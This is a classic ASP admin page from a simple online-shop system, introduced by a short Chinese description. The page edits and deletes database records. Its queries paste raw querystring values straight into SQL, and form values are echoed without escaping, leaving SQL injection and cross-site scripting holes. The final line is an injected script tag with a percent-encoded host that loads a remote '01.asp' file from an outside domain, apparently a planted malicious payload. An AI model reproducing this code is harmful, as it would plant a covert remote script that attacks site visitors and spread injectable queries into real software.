shopa_editrecord.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<!--#include file="shop$DB.asp"-->
<!--#include file="shopa_tools.asp"-->
<%ShopCheckAdmin%>
<%
'*******************************
' total rewrite for Version 2.15
' No longer requires editupdate.asp
' Version 2.15 rewrote
'*******************************
dim rstemp 
dim which
dim idfield
dim dbtable
sAction=Request.form("Action")
sError=""
GetInputValues
OpenDb conn,database
If sAction = "" Then
     AdminPageHeader
     GenerateForm
     AdminPageTrailer
Else
     AdminPageHeader
     UpdateRecord
     GenerateForm
     AdminPageTrailer
end if
conn.close
set conn=nothing
'************************
Sub GetInputValues
' ID, allows editing a record
which=request.querystring("which")
idfield=request.querystring("idfield")
dbtable=request.querystring("table")
database=request.querystring("database")
end sub

Sub GenerateForm
sqltemp="select * from " & dbtable
sqltemp=sqltemp & " where " & idfield & "=" & which
'Debugwrite  sqltemp
set rstemp=conn.execute(sqltemp)
DisplayForm
rstemp.close
set rstemp=nothing
end Sub
'****************************
Sub DisplayForm()
keyvalue=rstemp(idfield).value
howmanyfields=rstemp.fields.count -1
%>
<form name="editform" action="shopa_editrecord.asp?database=<%=database%>&table=<%=dbtable%>&idfield=<%=idfield%>&which=<%=which%>" method="POST">
<%
	Dim sRowColor
	sRowColor="#C4CEE5"
	Response.Write("<blockquote>")
	Response.Write("Please update values and press the Update button.<p>")
	Response.Write("<font color=red>" & sError & "</font><p>")
	Response.Write("<table cellpadding=2 cellspacing=2>")
        for i=0 to howmanyfields
               fieldname = rstemp(i).name
               fieldvalue = rstemp(i).value
               FormatRow fieldname,fieldvalue,sRowColor
         next
         Response.Write("</table><p>")
 	 Response.Write("<input type=submit name=action value=""Update record"">")
         Response.Write("</form>") 
         response.write "<hr></p>"
%>
 <form method="POST" action="shopa_keydelete.asp?database=<%=database%>&table=<%=dbtable%>&idfield=<%=idfield%>&which=<%=which%>">
 <p align="center"><input type="submit" value="Delete" name="Delete">
 <input type="text" name=key  value= <%=keyvalue%> size="10"><b>Key</b> <input type="text" name=table  value= <%=dbtable%> size="10"><input type="text" name=id  value= <%=idfield%> size="10"></p> 
 </form>
<%
end sub
Sub FormatRow (fieldname,fieldvalue, sRowColor)
Response.Write("<tr bgcolor=" & sRowColor &"><td>" & fieldname & ":</td><td><input size=50 name=" & fieldname & " value=" & Chr(34) & fieldvalue & Chr(34) & "></td></tr>")
end sub

'************
' 
Sub UpdateRecord
sqltemp="select * from " & dbtable
sqltemp= sqltemp & " where  " & idfield & "=" & which
Set rstemp = Server.CreateObject("ADODB.Recordset")
rstemp.open sqltemp, conn, 1, 3
'rstemp.open sqltemp, conn, adOpenKeyset, adLockOptimistic
GenerateUpdateSQL
rstemp.close
sError= sError & "<br><b>Record Updated</b>" 
end sub
' ******** general Sql
Sub GenerateUpdateSQL()
Dim howmanyfields
dim i
howmanyfields=rstemp.fields.count -1 
rstemp.update
for i=1 to howmanyfields
       fieldname = rstemp(i).name
       fieldtype=rstemp(i).type
       fieldvalue = request.form(fieldname)
       Updatefield fieldname,fieldvalue
next
rstemp.update
end sub
Sub UpdateField (fieldname, fieldvalue)
if fieldvalue="" then
    exit sub
end if
'Debugwrite fieldname & "value=" & fieldvalue
if ucase(fieldvalue)="NULL" then
   rstemp(Fieldname)=NULL
else
'  debugwrite fieldname
  rstemp(Fieldname)=fieldvalue
end if
end sub

%>

<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>